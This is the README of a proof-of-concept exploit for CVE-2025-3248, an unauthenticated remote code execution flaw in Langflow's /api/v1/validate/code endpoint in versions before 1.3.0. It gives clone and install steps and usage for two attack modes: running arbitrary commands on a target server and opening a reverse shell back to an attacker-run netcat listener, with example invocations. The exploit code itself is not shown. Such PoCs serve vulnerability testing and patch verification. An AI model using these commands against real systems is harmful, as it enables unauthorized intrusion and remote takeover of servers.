CVE-2025-3248 - Langflow Code Validation Endpoint RCE

A proof-of-concept exploit demonstrating a remote code execution vulnerability in Langflow's code validation endpoint. This vulnerability affects Langflow versions prior to 1.3.0, allowing unauthenticated attackers to execute arbitrary code through crafted HTTP requests.

Vulnerability Details

• CVE ID: CVE-2025-3248
• Affected Versions: < 1.3.0
• Attack Vector: Remote
• Authentication Required: No
• Impact: Remote Code Execution (RCE)
• Endpoint: /api/v1/validate/code

Prerequisites

• Python 3.x
• Required Python packages:
  • requests
  • colorama

Installation

1. Clone the repository:

git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit

2. Install dependencies:

pip install requests colorama

Usage

The exploit supports two modes of operation:

1. Command Execution Mode

Execute a single command on the target system:

python3 cve-2025-3248.py cmd <target_url> "<command>"

Example:

python3 cve-2025-3248.py cmd http://target:7860 "id"

2. Reverse Shell Mode

Spawn an interactive reverse shell:

1. First, start a listener on your machine:

nc -lvnp 4444

2. Then run the exploit:

python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

Example:

python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444